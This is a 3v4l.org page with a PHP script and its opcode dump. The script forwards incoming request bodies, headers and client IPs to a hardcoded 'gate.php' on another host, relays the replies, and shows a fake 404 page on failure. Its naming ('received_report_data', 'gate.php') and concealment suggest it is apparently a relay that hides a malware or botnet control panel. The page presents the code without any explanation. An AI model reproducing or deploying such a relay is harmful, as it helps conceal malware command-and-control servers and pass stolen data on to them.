3v4l.org

run code in 300+ PHP versions simultaneously
<?php $redirect_url = "http://192.168.1.101/gate.php"; // check if curl is installed $loaded_extensions = get_loaded_extensions(); if (array_search('curl', $loaded_extensions) === false) die(); // check if data was received in full $real_length = intval($_SERVER['CONTENT_LENGTH']); $received_report_data = file_get_contents('php://input'); if ($real_length !== strlen($received_report_data)) die(); // extract host from redirect url if (substr($redirect_url, 0, 4) != 'http') $redirect_url = 'http://'.$redirect_url; $redirect_host = @parse_url($redirect_url, PHP_URL_HOST); function my_upload($ch, $fp, $len) { static $pos=0; // keep track of position $post_data = file_get_contents('php://input'); $data = substr($post_data, $pos, $len); $pos += strlen($data); return $data; } function curl_load($url, &$data, $headers) { clearstatcache(); $return = false; $url = trim($url); if (substr($url, 0, 4) != 'http') $url = 'http://'.$url; $ch = curl_init($url); if (!$ch) return false; curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_FRESH_CONNECT, true); curl_setopt($ch, CURLOPT_DNS_USE_GLOBAL_CACHE, false); curl_setopt($ch, CURLOPT_POST, true); array_push($headers, 'Accept-Encoding: identity, *;q=0'); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $post_data = file_get_contents('php://input'); if (strlen($post_data)) { curl_setopt($ch, CURLOPT_READFUNCTION, 'my_upload'); } $curl_execute_result = @curl_exec($ch); // Check if any error occurred if (!curl_errno($ch)) { $data = $curl_execute_result; $return = true; } else { $data = ''; $return = false; } curl_close($ch); return $return; } function parse_lines($value) { return preg_split("/((\r(?!\n))|((?<!\r)\n)|(\r\n))/", $value); } $original_query = trim(@parse_url($redirect_url, PHP_URL_QUERY)); if (!strlen($original_query)) $query_string = '?'; else $query_string = '&'; $query_string .= $_SERVER['QUERY_STRING']; $query_string .= '&pass_ip='.$_SERVER['REMOTE_ADDR']; $data = ''; $headers = getallheaders(); $curl_headers_array = array(); foreach ($headers as $name=>$value) { if (strtolower($name) == 'accept-encoding' || strtolower($name) == 'connection') { } elseif (strtolower($name) == 'host') { array_push($curl_headers_array, $name.': '.$redirect_host); } else { array_push($curl_headers_array, $name.': '.$value); } } if (!curl_load($redirect_url.$query_string, $data, $curl_headers_array)) { header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); $_SERVER['REDIRECT_STATUS'] = 404; if (file_exists('404.html')) echo file_get_contents('404.html'); die(); } $headers_end_pos = strpos($data, "\r\n\r\n"); $data_start_pos = $headers_end_pos+4; if ($headers_end_pos === false) { $headers_end_pos = strpos($data, "\n\n"); $data_start_pos = $headers_end_pos+2; } if ($headers_end_pos !== false) { $lines = parse_lines(substr($data, 0, $headers_end_pos)); foreach ($lines as $line) { // do not pass "Transfer-Encoding: chunked" header if (stripos($line, 'Transfer-Encoding') === false) { header($line."\r\n"); } } die(substr($data, $data_start_pos)); } else { die($data); }
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 10, Position 2 = 11
Branch analysis from position: 10
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 11
2 jumps found. (Code = 43) Position 1 = 22, Position 2 = 23
Branch analysis from position: 22
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 23
2 jumps found. (Code = 43) Position 1 = 30, Position 2 = 32
Branch analysis from position: 30
2 jumps found. (Code = 43) Position 1 = 52, Position 2 = 54
Branch analysis from position: 52
1 jumps found. (Code = 42) Position 1 = 55
Branch analysis from position: 55
2 jumps found. (Code = 77) Position 1 = 68, Position 2 = 101
Branch analysis from position: 68
2 jumps found. (Code = 78) Position 1 = 69, Position 2 = 101
Branch analysis from position: 69
2 jumps found. (Code = 47) Position 1 = 75, Position 2 = 80
Branch analysis from position: 75
2 jumps found. (Code = 43) Position 1 = 81, Position 2 = 82
Branch analysis from position: 81
1 jumps found. (Code = 42) Position 1 = 100
Branch analysis from position: 100
1 jumps found. (Code = 42) Position 1 = 68
Branch analysis from position: 68
Branch analysis from position: 82
2 jumps found. (Code = 43) Position 1 = 87, Position 2 = 94
Branch analysis from position: 87
1 jumps found. (Code = 42) Position 1 = 100
Branch analysis from position: 100
Branch analysis from position: 94
1 jumps found. (Code = 42) Position 1 = 68
Branch analysis from position: 68
Branch analysis from position: 80
Branch analysis from position: 101
2 jumps found. (Code = 43) Position 1 = 110, Position 2 = 128
Branch analysis from position: 110
2 jumps found. (Code = 43) Position 1 = 123, Position 2 = 127
Branch analysis from position: 123
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 127
Branch analysis from position: 128
2 jumps found. (Code = 43) Position 1 = 137, Position 2 = 144
Branch analysis from position: 137
2 jumps found. (Code = 43) Position 1 = 146, Position 2 = 175
Branch analysis from position: 146
2 jumps found. (Code = 77) Position 1 = 156, Position 2 = 168
Branch analysis from position: 156
2 jumps found. (Code = 78) Position 1 = 157, Position 2 = 168
Branch analysis from position: 157
2 jumps found. (Code = 43) Position 1 = 163, Position 2 = 167
Branch analysis from position: 163
1 jumps found. (Code = 42) Position 1 = 156
Branch analysis from position: 156
Branch analysis from position: 167
Branch analysis from position: 168
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 168
Branch analysis from position: 175
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 144
Branch analysis from position: 101
Branch analysis from position: 54
2 jumps found. (Code = 77) Position 1 = 68, Position 2 = 101
Branch analysis from position: 68
Branch analysis from position: 101
Branch analysis from position: 32
filename:       /in/1W7Jp
function name:  (null)
number of ops:  177
compiled vars:  !0 = $redirect_url, !1 = $loaded_extensions, !2 = $real_length, !3 = $received_report_data, !4 = $redirect_host, !5 = $original_query, !6 = $query_string, !7 = $data, !8 = $headers, !9 = $curl_headers_array, !10 = $value, !11 = $name, !12 = $headers_end_pos, !13 = $data_start_pos, !14 = $lines, !15 = $line
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, 'http%3A%2F%2F192.168.1.101%2Fgate.php'
    7     1        INIT_FCALL                                               'get_loaded_extensions'
          2        DO_ICALL                                         $17     
          3        ASSIGN                                                   !1, $17
    9     4        INIT_FCALL                                               'array_search'
          5        SEND_VAL                                                 'curl'
          6        SEND_VAR                                                 !1
          7        DO_ICALL                                         $19     
          8        TYPE_CHECK                                    4          $19
          9      > JMPZ                                                     ~20, ->11
   10    10    > > EXIT                                                     
   13    11    >   FETCH_R                      global              ~21     '_SERVER'
         12        FETCH_DIM_R                                      ~22     ~21, 'CONTENT_LENGTH'
         13        CAST                                          4  ~23     ~22
         14        ASSIGN                                                   !2, ~23
   14    15        INIT_FCALL                                               'file_get_contents'
         16        SEND_VAL                                                 'php%3A%2F%2Finput'
         17        DO_ICALL                                         $25     
         18        ASSIGN                                                   !3, $25
   16    19        STRLEN                                           ~27     !3
         20        IS_NOT_IDENTICAL                                         !2, ~27
         21      > JMPZ                                                     ~28, ->23
   17    22    > > EXIT                                                     
   20    23    >   INIT_FCALL                                               'substr'
         24        SEND_VAR                                                 !0
         25        SEND_VAL                                                 0
         26        SEND_VAL                                                 4
         27        DO_ICALL                                         $29     
         28        IS_NOT_EQUAL                                             $29, 'http'
         29      > JMPZ                                                     ~30, ->32
   21    30    >   CONCAT                                           ~31     'http%3A%2F%2F', !0
         31        ASSIGN                                                   !0, ~31
   23    32    >   BEGIN_SILENCE                                    ~33     
         33        INIT_FCALL                                               'parse_url'
         34        SEND_VAR                                                 !0
         35        SEND_VAL                                                 1
         36        DO_ICALL                                         $34     
         37        END_SILENCE                                              ~33
         38        ASSIGN                                                   !4, $34
   89    39        INIT_FCALL                                               'trim'
         40        BEGIN_SILENCE                                    ~36     
         41        INIT_FCALL                                               'parse_url'
         42        SEND_VAR                                                 !0
         43        SEND_VAL                                                 6
         44        DO_ICALL                                         $37     
         45        END_SILENCE                                              ~36
         46        SEND_VAR                                                 $37
         47        DO_ICALL                                         $38     
         48        ASSIGN                                                   !5, $38
   91    49        STRLEN                                           ~40     !5
         50        BOOL_NOT                                         ~41     ~40
         51      > JMPZ                                                     ~41, ->54
   92    52    >   ASSIGN                                                   !6, '%3F'
         53      > JMP                                                      ->55
   94    54    >   ASSIGN                                                   !6, '%26'
   96    55    >   FETCH_R                      global              ~44     '_SERVER'
         56        FETCH_DIM_R                                      ~45     ~44, 'QUERY_STRING'
         57        ASSIGN_OP                                     8          !6, ~45
   97    58        FETCH_R                      global              ~47     '_SERVER'
         59        FETCH_DIM_R                                      ~48     ~47, 'REMOTE_ADDR'
         60        CONCAT                                           ~49     '%26pass_ip%3D', ~48
         61        ASSIGN_OP                                     8          !6, ~49
   99    62        ASSIGN                                                   !7, ''
  100    63        INIT_FCALL_BY_NAME                                       'getallheaders'
         64        DO_FCALL                                      0  $52     
         65        ASSIGN                                                   !8, $52
  101    66        ASSIGN                                                   !9, <array>
  103    67      > FE_RESET_R                                       $55     !8, ->101
         68    > > FE_FETCH_R                                       ~56     $55, !10, ->101
         69    >   ASSIGN                                                   !11, ~56
  105    70        INIT_FCALL                                               'strtolower'
         71        SEND_VAR                                                 !11
         72        DO_ICALL                                         $58     
         73        IS_EQUAL                                         ~59     $58, 'accept-encoding'
         74      > JMPNZ_EX                                         ~59     ~59, ->80
         75    >   INIT_FCALL                                               'strtolower'
         76        SEND_VAR                                                 !11
         77        DO_ICALL                                         $60     
         78        IS_EQUAL                                         ~61     $60, 'connection'
         79        BOOL                                             ~59     ~61
         80    > > JMPZ                                                     ~59, ->82
  106    81    > > JMP                                                      ->100
  108    82    >   INIT_FCALL                                               'strtolower'
         83        SEND_VAR                                                 !11
         84        DO_ICALL                                         $62     
         85        IS_EQUAL                                                 $62, 'host'
         86      > JMPZ                                                     ~63, ->94
  110    87    >   INIT_FCALL                                               'array_push'
         88        SEND_REF                                                 !9
         89        CONCAT                                           ~64     !11, '%3A+'
         90        CONCAT                                           ~65     ~64, !4
         91        SEND_VAL                                                 ~65
         92        DO_ICALL                                                 
         93      > JMP                                                      ->100
  113    94    >   INIT_FCALL                                               'array_push'
         95        SEND_REF                                                 !9
         96        CONCAT                                           ~67     !11, '%3A+'
         97        CONCAT                                           ~68     ~67, !10
         98        SEND_VAL                                                 ~68
         99        DO_ICALL                                                 
  103   100    > > JMP                                                      ->68
        101    >   FE_FREE                                                  $55
  117   102        INIT_FCALL                                               'curl_load'
        103        CONCAT                                           ~70     !0, !6
        104        SEND_VAL                                                 ~70
        105        SEND_REF                                                 !7
        106        SEND_VAR                                                 !9
        107        DO_FCALL                                      0  $71     
        108        BOOL_NOT                                         ~72     $71
        109      > JMPZ                                                     ~72, ->128
  119   110    >   INIT_FCALL                                               'header'
        111        SEND_VAL                                                 'HTTP%2F1.0+404+Not+Found'
        112        DO_ICALL                                                 
  120   113        INIT_FCALL                                               'header'
        114        SEND_VAL                                                 'Status%3A+404+Not+Found'
        115        DO_ICALL                                                 
  121   116        FETCH_W                      global              $75     '_SERVER'
        117        ASSIGN_DIM                                               $75, 'REDIRECT_STATUS'
        118        OP_DATA                                                  404
  122   119        INIT_FCALL                                               'file_exists'
        120        SEND_VAL                                                 '404.html'
        121        DO_ICALL                                         $77     
        122      > JMPZ                                                     $77, ->127
  123   123    >   INIT_FCALL                                               'file_get_contents'
        124        SEND_VAL                                                 '404.html'
        125        DO_ICALL                                         $78     
        126        ECHO                                                     $78
  124   127    > > EXIT                                                     
  127   128    >   INIT_FCALL                                               'strpos'
        129        SEND_VAR                                                 !7
        130        SEND_VAL                                                 '%0D%0A%0D%0A'
        131        DO_ICALL                                         $79     
        132        ASSIGN                                                   !12, $79
  128   133        ADD                                              ~81     !12, 4
        134        ASSIGN                                                   !13, ~81
  129   135        TYPE_CHECK                                    4          !12
        136      > JMPZ                                                     ~83, ->144
  131   137    >   INIT_FCALL                                               'strpos'
        138        SEND_VAR                                                 !7
        139        SEND_VAL                                                 '%0A%0A'
        140        DO_ICALL                                         $84     
        141        ASSIGN                                                   !12, $84
  132   142        ADD                                              ~86     !12, 2
        143        ASSIGN                                                   !13, ~86
  135   144    >   TYPE_CHECK                                  1018          !12
        145      > JMPZ                                                     ~88, ->175
  137   146    >   INIT_FCALL                                               'parse_lines'
        147        INIT_FCALL                                               'substr'
        148        SEND_VAR                                                 !7
        149        SEND_VAL                                                 0
        150        SEND_VAR                                                 !12
        151        DO_ICALL                                         $89     
        152        SEND_VAR                                                 $89
        153        DO_FCALL                                      0  $90     
        154        ASSIGN                                                   !14, $90
  138   155      > FE_RESET_R                                       $92     !14, ->168
        156    > > FE_FETCH_R                                               $92, !15, ->168
  141   157    >   INIT_FCALL                                               'stripos'
        158        SEND_VAR                                                 !15
        159        SEND_VAL                                                 'Transfer-Encoding'
        160        DO_ICALL                                         $93     
        161        TYPE_CHECK                                    4          $93
        162      > JMPZ                                                     ~94, ->167
  143   163    >   INIT_FCALL                                               'header'
        164        CONCAT                                           ~95     !15, '%0D%0A'
        165        SEND_VAL                                                 ~95
        166        DO_ICALL                                                 
  138   167    > > JMP                                                      ->156
        168    >   FE_FREE                                                  $92
  147   169        INIT_FCALL                                               'substr'
        170        SEND_VAR                                                 !7
        171        SEND_VAR                                                 !13
        172        DO_ICALL                                         $97     
        173      > EXIT                                                     $97
        174*       JMP                                                      ->176
  150   175    > > EXIT                                                     !7
  151   176*     > RETURN                                                   1

Function my_upload:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/1W7Jp
function name:  my_upload
number of ops:  18
compiled vars:  !0 = $ch, !1 = $fp, !2 = $len, !3 = $pos, !4 = $post_data, !5 = $data
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   25     0  E >   RECV                                             !0      
          1        RECV                                             !1      
          2        RECV                                             !2      
   27     3        BIND_STATIC                                              !3
   28     4        INIT_FCALL                                               'file_get_contents'
          5        SEND_VAL                                                 'php%3A%2F%2Finput'
          6        DO_ICALL                                         $6      
          7        ASSIGN                                                   !4, $6
   30     8        INIT_FCALL                                               'substr'
          9        SEND_VAR                                                 !4
         10        SEND_VAR                                                 !3
         11        SEND_VAR                                                 !2
         12        DO_ICALL                                         $8      
         13        ASSIGN                                                   !5, $8
   31    14        STRLEN                                           ~10     !5
         15        ASSIGN_OP                                     1          !3, ~10
   32    16      > RETURN                                                   !5
   33    17*     > RETURN                                                   null

End of function my_upload

Function curl_load:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 17, Position 2 = 19
Branch analysis from position: 17
2 jumps found. (Code = 43) Position 1 = 25, Position 2 = 26
Branch analysis from position: 25
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 26
2 jumps found. (Code = 43) Position 1 = 90, Position 2 = 96
Branch analysis from position: 90
2 jumps found. (Code = 43) Position 1 = 107, Position 2 = 110
Branch analysis from position: 107
1 jumps found. (Code = 42) Position 1 = 112
Branch analysis from position: 112
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 110
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 96
Branch analysis from position: 19
filename:       /in/1W7Jp
function name:  curl_load
number of ops:  117
compiled vars:  !0 = $url, !1 = $data, !2 = $headers, !3 = $return, !4 = $ch, !5 = $post_data, !6 = $curl_execute_result
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   35     0  E >   RECV                                             !0      
          1        RECV                                             !1      
          2        RECV                                             !2      
   37     3        INIT_FCALL                                               'clearstatcache'
          4        DO_ICALL                                                 
   39     5        ASSIGN                                                   !3, <false>
   40     6        INIT_FCALL                                               'trim'
          7        SEND_VAR                                                 !0
          8        DO_ICALL                                         $9      
          9        ASSIGN                                                   !0, $9
   42    10        INIT_FCALL                                               'substr'
         11        SEND_VAR                                                 !0
         12        SEND_VAL                                                 0
         13        SEND_VAL                                                 4
         14        DO_ICALL                                         $11     
         15        IS_NOT_EQUAL                                             $11, 'http'
         16      > JMPZ                                                     ~12, ->19
         17    >   CONCAT                                           ~13     'http%3A%2F%2F', !0
         18        ASSIGN                                                   !0, ~13
   44    19    >   INIT_FCALL_BY_NAME                                       'curl_init'
         20        SEND_VAR_EX                                              !0
         21        DO_FCALL                                      0  $15     
         22        ASSIGN                                                   !4, $15
   46    23        BOOL_NOT                                         ~17     !4
         24      > JMPZ                                                     ~17, ->26
   47    25    > > RETURN                                                   <false>
   49    26    >   INIT_FCALL_BY_NAME                                       'curl_setopt'
         27        SEND_VAR_EX                                              !4
         28        FETCH_CONSTANT                                   ~18     'CURLOPT_HEADER'
         29        SEND_VAL_EX                                              ~18
         30        SEND_VAL_EX                                              <true>
         31        DO_FCALL                                      0          
   50    32        INIT_FCALL_BY_NAME                                       'curl_setopt'
         33        SEND_VAR_EX                                              !4
         34        FETCH_CONSTANT                                   ~20     'CURLOPT_RETURNTRANSFER'
         35        SEND_VAL_EX                                              ~20
         36        SEND_VAL_EX                                              <true>
         37        DO_FCALL                                      0          
   51    38        INIT_FCALL_BY_NAME                                       'curl_setopt'
         39        SEND_VAR_EX                                              !4
         40        FETCH_CONSTANT                                   ~22     'CURLOPT_CONNECTTIMEOUT'
         41        SEND_VAL_EX                                              ~22
         42        SEND_VAL_EX                                              15
         43        DO_FCALL                                      0          
   52    44        INIT_FCALL_BY_NAME                                       'curl_setopt'
         45        SEND_VAR_EX                                              !4
         46        FETCH_CONSTANT                                   ~24     'CURLOPT_TIMEOUT'
         47        SEND_VAL_EX                                              ~24
         48        SEND_VAL_EX                                              60
         49        DO_FCALL                                      0          
   53    50        INIT_FCALL_BY_NAME                                       'curl_setopt'
         51        SEND_VAR_EX                                              !4
         52        FETCH_CONSTANT                                   ~26     'CURLOPT_FAILONERROR'
         53        SEND_VAL_EX                                              ~26
         54        SEND_VAL_EX                                              <true>
         55        DO_FCALL                                      0          
   54    56        INIT_FCALL_BY_NAME                                       'curl_setopt'
         57        SEND_VAR_EX                                              !4
         58        FETCH_CONSTANT                                   ~28     'CURLOPT_FRESH_CONNECT'
         59        SEND_VAL_EX                                              ~28
         60        SEND_VAL_EX                                              <true>
         61        DO_FCALL                                      0          
   55    62        INIT_FCALL_BY_NAME                                       'curl_setopt'
         63        SEND_VAR_EX                                              !4
         64        FETCH_CONSTANT                                   ~30     'CURLOPT_DNS_USE_GLOBAL_CACHE'
         65        SEND_VAL_EX                                              ~30
         66        SEND_VAL_EX                                              <false>
         67        DO_FCALL                                      0          
   56    68        INIT_FCALL_BY_NAME                                       'curl_setopt'
         69        SEND_VAR_EX                                              !4
         70        FETCH_CONSTANT                                   ~32     'CURLOPT_POST'
         71        SEND_VAL_EX                                              ~32
         72        SEND_VAL_EX                                              <true>
         73        DO_FCALL                                      0          
   58    74        INIT_FCALL                                               'array_push'
         75        SEND_REF                                                 !2
         76        SEND_VAL                                                 'Accept-Encoding%3A+identity%2C+%2A%3Bq%3D0'
         77        DO_ICALL                                                 
   59    78        INIT_FCALL_BY_NAME                                       'curl_setopt'
         79        SEND_VAR_EX                                              !4
         80        FETCH_CONSTANT                                   ~35     'CURLOPT_HTTPHEADER'
         81        SEND_VAL_EX                                              ~35
         82        SEND_VAR_EX                                              !2
         83        DO_FCALL                                      0          
   61    84        INIT_FCALL                                               'file_get_contents'
         85        SEND_VAL                                                 'php%3A%2F%2Finput'
         86        DO_ICALL                                         $37     
         87        ASSIGN                                                   !5, $37
   62    88        STRLEN                                           ~39     !5
         89      > JMPZ                                                     ~39, ->96
   64    90    >   INIT_FCALL_BY_NAME                                       'curl_setopt'
         91        SEND_VAR_EX                                              !4
         92        FETCH_CONSTANT                                   ~40     'CURLOPT_READFUNCTION'
         93        SEND_VAL_EX                                              ~40
         94        SEND_VAL_EX                                              'my_upload'
         95        DO_FCALL                                      0          
   67    96    >   BEGIN_SILENCE                                    ~42     
         97        INIT_FCALL_BY_NAME                                       'curl_exec'
         98        SEND_VAR_EX                                              !4
         99        DO_FCALL                                      0  $43     
        100        END_SILENCE                                              ~42
        101        ASSIGN                                                   !6, $43
   70   102        INIT_FCALL_BY_NAME                                       'curl_errno'
        103        SEND_VAR_EX                                              !4
        104        DO_FCALL                                      0  $45     
        105        BOOL_NOT                                         ~46     $45
        106      > JMPZ                                                     ~46, ->110
   72   107    >   ASSIGN                                                   !1, !6
   73   108        ASSIGN                                                   !3, <true>
        109      > JMP                                                      ->112
   76   110    >   ASSIGN                                                   !1, ''
   77   111        ASSIGN                                                   !3, <false>
   79   112    >   INIT_FCALL_BY_NAME                                       'curl_close'
        113        SEND_VAR_EX                                              !4
        114        DO_FCALL                                      0          
   81   115      > RETURN                                                   !3
   82   116*     > RETURN                                                   null

End of function curl_load

Function parse_lines:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/1W7Jp
function name:  parse_lines
number of ops:  7
compiled vars:  !0 = $value
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   84     0  E >   RECV                                             !0      
   86     1        INIT_FCALL                                               'preg_split'
          2        SEND_VAL                                                 '%2F%28%28%0D%28%3F%21%0A%29%29%7C%28%28%3F%3C%21%0D%29%0A%29%7C%28%0D%0A%29%29%2F'
          3        SEND_VAR                                                 !0
          4        DO_ICALL                                         $1      
          5      > RETURN                                                   $1
   87     6*     > RETURN                                                   null

End of function parse_lines

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
177.65 ms | 1427 KiB | 43 Q